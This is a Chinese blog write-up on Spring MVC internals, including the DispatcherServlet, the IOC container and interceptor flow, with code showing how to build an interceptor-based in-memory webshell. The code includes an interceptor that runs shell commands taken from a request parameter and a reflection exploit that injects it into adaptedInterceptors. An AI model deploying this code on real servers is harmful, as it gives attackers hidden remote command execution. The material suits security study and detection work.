当前位置: 首页 > news >正文

Spring架构原理 Spring内存马

spring mvc流程

image.png

1.Spring MVC的核心组件和大致处理流程

  1. DispatcherServlet是前端控制器,它负责接收Request并将Request转发给对应的处理组件;

  2. HandlerMapping负责完成url到Controller映射,可以通过它来找到对应的处理Request的Controller;

  3. Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。

2.IOC容器

IOC(控制反转)容器是Spring框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式,下面讲两种常见的:

BeanFactory:Spring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。

3.Spring MVC 九大组件

这九大组件需要有个印象:

DispatcherServlet(派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;
HandlerMapping(处理器映射):用于确定请求的处理器(Controller);
HandlerAdapter(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver(区域解析器):处理区域信息,用于国际化;
ThemeResolver(主题解析器):用于解析Web应用的主题,实现界面主题的切换。

九大组件初始化

首先是 位于 org.springframework:spring-webmvc的:
org.springframework.web.servlet.DispatcherServlet, 查看其类结构, 没有一个总体的init方法, 其父类FrameworkServlet也一样, 但在其父类的父类HttpServletBean存在init方法
image.png

其中的逻辑暂且不论, 关键在最后的initServletBean();方法
image.png

这个方法接口是留给子类实现的

FrameworkServlet对这个方法进行了实现
image.png
其中调用了initWebApplicationContext方法来初始化IOC容器
其中会调用到onRefresh
image.png

这个方法也是留给子类实现的
image.png
看注释就知道这是在context刷新hou被调用用来执行一些特定于 Servlet的功能
DispatcherServlet对其进行了实现, 可以砍价其中的逻辑就是对九大组件的初始化
image.png

SpringMVC 框架Interceptor组件

TestInterceptor.java

package org.example.springdemo.demos.web;  import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  public class TestInterceptor extends HandlerInterceptorAdapter {  @Override  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {  String cmd = request.getParameter("cmd");  if(cmd != null){  try {  java.io.PrintWriter writer = response.getWriter();  String output = "";  ProcessBuilder processBuilder;  if(System.getProperty("os.name").toLowerCase().contains("win")){  processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);  }else{  processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);  }  java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");  output = inputScanner.hasNext() ? inputScanner.next(): output;  inputScanner.close();  writer.write(output);  writer.flush();  writer.close();  } catch (Exception ignored){}  return false;  }  return true;  }  
}

需要将TestInterceptor注册进去
WebConfig.java

package org.example.springdemo.demos.web;  import org.springframework.context.annotation.Configuration;  
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;  
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;  @Configuration  
public class WebConfig implements WebMvcConfigurer {  @Override  public void addInterceptors(InterceptorRegistry registry) {  registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");  }  
}

image.png

Spring Interceptor引入与执行流程分析

Spring InterceptorFilter的区别

主要区别 拦截器 过滤器
机制 Java反射机制 函数回调
是否依赖Servlet容器 不依赖 依赖
作用范围 对action请求起作用 对几乎所有请求起作用
是否可以访问上下文和值栈 可以访问 不能访问
调用次数 可以多次被调用 在容器初始化时只被调用一次
IOC容器中的访问 可以获取IOC容器中的各个bean(基于FactoryBean接口) 不能在IOC容器中获取bean

Servlet只在第一次访问时才会被加载
断点打在HttpServletBean的init方法, 来看看请求是如何被处理的
看这个调用栈非常熟悉, 还是tomcat那一套
image.png
之后就是上面的流程

加载完后 在DispatcherServlet#doDispatch方法也打上断点, 来看看Dispatcher是如何处理请求的

调用栈如下

doDispatch:1047, DispatcherServlet (org.springframework.web.servlet)
doService:964, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:670, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:779, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

从这里可以看出来Dispatcher就是一个之前tomcat中的Servlet

往下走调用了getHandler这个函数
image.png
跟进去, 看注释知道他会返回一个与此次request对应的HandlerExecutionChain
image.png
其中的逻辑是通过 mapping.getHandler(request);来尝试获取handler, 只要获取到就返回
跟进去看看这个方法
image.png

  1. 先是通过getHandlerInternal来获取,如果获取不到,那就调用getDefaultHandler来获取默认的,如果还是获取不到,就直接返回null;
  2. 然后检查handler是不是一个字符串,如果是,说明可能是一个Bean的名字,这样的话就通过ApplicationContext来获取对应名字的Bean对象,这样就确保 handler 最终会是一个合法的处理器对象;
  3. 接着检查是否已经有缓存的请求路径,如果没有缓存就调用 initLookupPath(request) 方法来初始化请求路径的查找;
  4. 最后通过 getHandlerExecutionChain 方法创建一个处理器执行链。

跟进到getHandlerExecutionChain方法
image.png

  1. 如果 handler 已是 HandlerExecutionChain 类型,则直接使用;
  2. 否则新建一个包装该处理器的执行链,遍历所有adaptedInterceptors拦截器,若拦截器是 MappedInterceptor 类型且匹配当前请求,则将其加入执行链。
  3. 返回最终的执行链对象。
    这样就得到了executionChain

回到getHandler方法
image.png
后面是对于需要跨域的请求的处理

之后回到doDispatch 到applyPreHandle就是遍历执行各个interceptor
image.png
可以看见执行到了preHandle方法
image.png

interceptor型内存马

思路
Spring Interceptor型内存马的编写思路:

  1. 获取ApplicationContext
  2. 通过AbstractHandlerMapping反射来获取adaptedInterceptors
  3. 将要注入的恶意拦截器放入到adaptedInterceptors中

简单思路:

  1. 获取当前运行环境的上下文
  2. 实现恶意Interceptor
  3. 注入恶意Interceptor

★当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层:
HttpRequest--> Filter --> DispactherServlet --> Interceptor --> Controller
下面的问题就是如何动态地注册一个恶意的Interceptor了。

image.png

可以看见只要反射修改AbstractHandlerMapping即可

我们当前类是RequestMappingHandlerMapping显然是继承了AbstractHandlerMapping
调用栈往回调, 就能看见这个类的来历, 他是DispatcherServletthis.handlerMappings中其中一个mapping, 听名字就知道是作用于一个request的
image.png

按照之前tomcat的思路, 也就是说获取到DispatcherServlet就能获取到它

看了别的文章, 发现使用的是WebApplicationContext来获取abstractHandlerMapping
为什么这样?

WebApplicationContext从何而来? 有什么作用?

这里所说的WebApplicationContext是一个接口, 在springboot启动时便有了一个context
image.png
也就是AnnotationConfigServletWebServerApplicationContext 这个类是实现了WebApplicationContext接口的
WebApplicationContext中存放了各种bean, 其中就包括了我们要获取的AbstractHandlerMapping
context创建bean的细节见[[Spring Web MVC 框架#bean创建流程]]

DispatcherServlet也持有了这个WebApplicationContext

image.png

在 Spring Boot 之前,DispatcherServlet 自身需要创建一个子上下文来管理 Web 层 Bean。但在 Spring Boot 的世界里,这个职责被简化了。

现在,DispatcherServlet 的主要任务就是作为一个请求处理器。它不再需要自己去创建和管理 Bean,而是直接使用那个已经创建好的、包含了所有 Bean 的 AnnotationConfigServletWebServerApplicationContext

如何获取WebApplicationContext

按照文章中的说法, 有四种方法:

1.getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext

2.WebApplicationContextUtils

_通过这种方法获得的也是一个Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

3.RequestContextUtils

通过ServletRequest类的实例来获得Child WebApplicationContext

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

4.getAttribute

这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

先来看getAttribute

getAttribute获取

首先是RequestContextHolder.currentRequestAttributes()可以获取当前的请求和响应组成的一个Attributes

image.png
可以看见它把RequestFacade和ResponeFacade包装在一起了
之后可以跟进getAttribute方法

可以看见第二个参数是0的话就是从requestFacade中获取, 否则从session中获取
image.png

最终是从Request中的attribute中获取, 这个attribute存储了当前请求的上下文信息还有请求的具体信息
image.png
其中就包括了AnnotationConfigServletWebServerApplicationContext, 这正是我们要拿到的

获取requestMappingHandlerMapping

接下来就是从AnnotationConfigServletWebServerApplicationContext管理的众多bean中获取AbstractHandlerMapping
虽说是AbstractHandlerMapping, 具体的类实际上是requestMappingHandlerMapping
可以看之前的图:
image.png

在beanFactory存储的单例中可以找到:
image.png
我们当然可以反射获取,不过在AnnotationConfigServletWebServerApplicationContext的祖宗类AbstractApplicationContext中实现了getBean方法可以直接获取BeanFactory中的bean
image.png

构造并植入interceptor

先准备一个简单的恶意拦截器

public class Shell_Interceptor implements HandlerInterceptor {  @Override  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {  String cmd = request.getParameter("cmd");  if (cmd != null) {  try {  Runtime.getRuntime().exec(cmd);  } catch (IOException e) {  e.printStackTrace();  } catch (NullPointerException n) {  n.printStackTrace();  }  return true;  }  return false;  }  
}

之后就是反射获取再add进去
exp

  
package org.example.springdemo.demos.web;  import org.springframework.stereotype.Controller;  import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestParam;  
import org.springframework.web.bind.annotation.ResponseBody;  
import org.springframework.web.context.ContextLoader;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.servlet.HandlerInterceptor;  
import org.springframework.web.servlet.handler.AbstractHandlerMapping;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  import javax.servlet.ServletContext;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.lang.reflect.Field;  
import java.util.ArrayList;  
import java.util.List;  @Controller  
public class BasicController {  @RequestMapping("/hello")  @ResponseBody  public String hello(@RequestParam(name = "name", defaultValue = "unknown user") String name) {  WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();  if (context1 != null) {  System.out.println(context1.getClass().getName());  }  WebApplicationContext context4 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);  if (context4 != null) {  System.out.println(context4.getClass().getName());  }  AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping)context4.getBean(RequestMappingHandlerMapping.class);  if (handlerMapping != null) {  System.out.println(handlerMapping.getClass().getName());  }  try {  Shell_Interceptor interceptor = new Shell_Interceptor();  Class abstractHandlerMappingClazz = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMapping");  Field adaptedInterceptorsField = abstractHandlerMappingClazz.getDeclaredField("adaptedInterceptors");  adaptedInterceptorsField.setAccessible(true);  List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(handlerMapping);  adaptedInterceptors.add(interceptor);  } catch (Exception e) {  e.printStackTrace();  }  return "Hello " + name;  }  public class Shell_Interceptor implements HandlerInterceptor {  @Override  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {  String cmd = request.getParameter("n4c1");  if (cmd != null) {  try {  Runtime.getRuntime().exec(cmd);  } catch (IOException e) {  e.printStackTrace();  } catch (NullPointerException n) {  n.printStackTrace();  }  return true;  }  return false;  }  }  
}

image.png

Spring WebFlux 框架

[[Spring WebFlux 框架]]

参考

https://juejin.cn/post/7214831216028745783#heading-4
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)

http://www.sczhlp.com/news/8505/

相关文章:

  • SnakeYaml反序列化
  • 20250808 之所思 - 人生如梦
  • Tomcat 架构原理 Tomcat内存马
  • 【RC电子硬件】180舵机的安装与调试
  • 遗忘的物语:蜥蜴与神明的寓言
  • 560. 和为 K 的子数组
  • java学习(8月8日)
  • iPhone12换电池拆机拆屏幕成功案例与材料
  • 模版
  • 【举例】小数点在计算机中的存储标准举例 20.625
  • Solidity-101
  • 202507做题记录
  • 202508做题记录
  • C#学习
  • MySQL之Group By优化
  • 2025年8月8日
  • 8.8 说点心里话
  • Java Agent使用
  • 常识判断
  • 【LeetCode 108】算法:将有序数组转换为二叉搜索树
  • 25.8.7python模块1
  • 【总结】manacher
  • solidity学习之多签钱包
  • 软考系统分析师每日学习卡 | [日期:2025-08-08] | [今日主题:数据库三级模式两级映射]
  • 双指针
  • QML给Rectangle添加阴影
  • Python函数实战之ATM与购物车系统
  • 【鲜花】浙江游记
  • C++中 . 与- 的使用场景
  • 七天零基础学java(第二天)--赵姗姗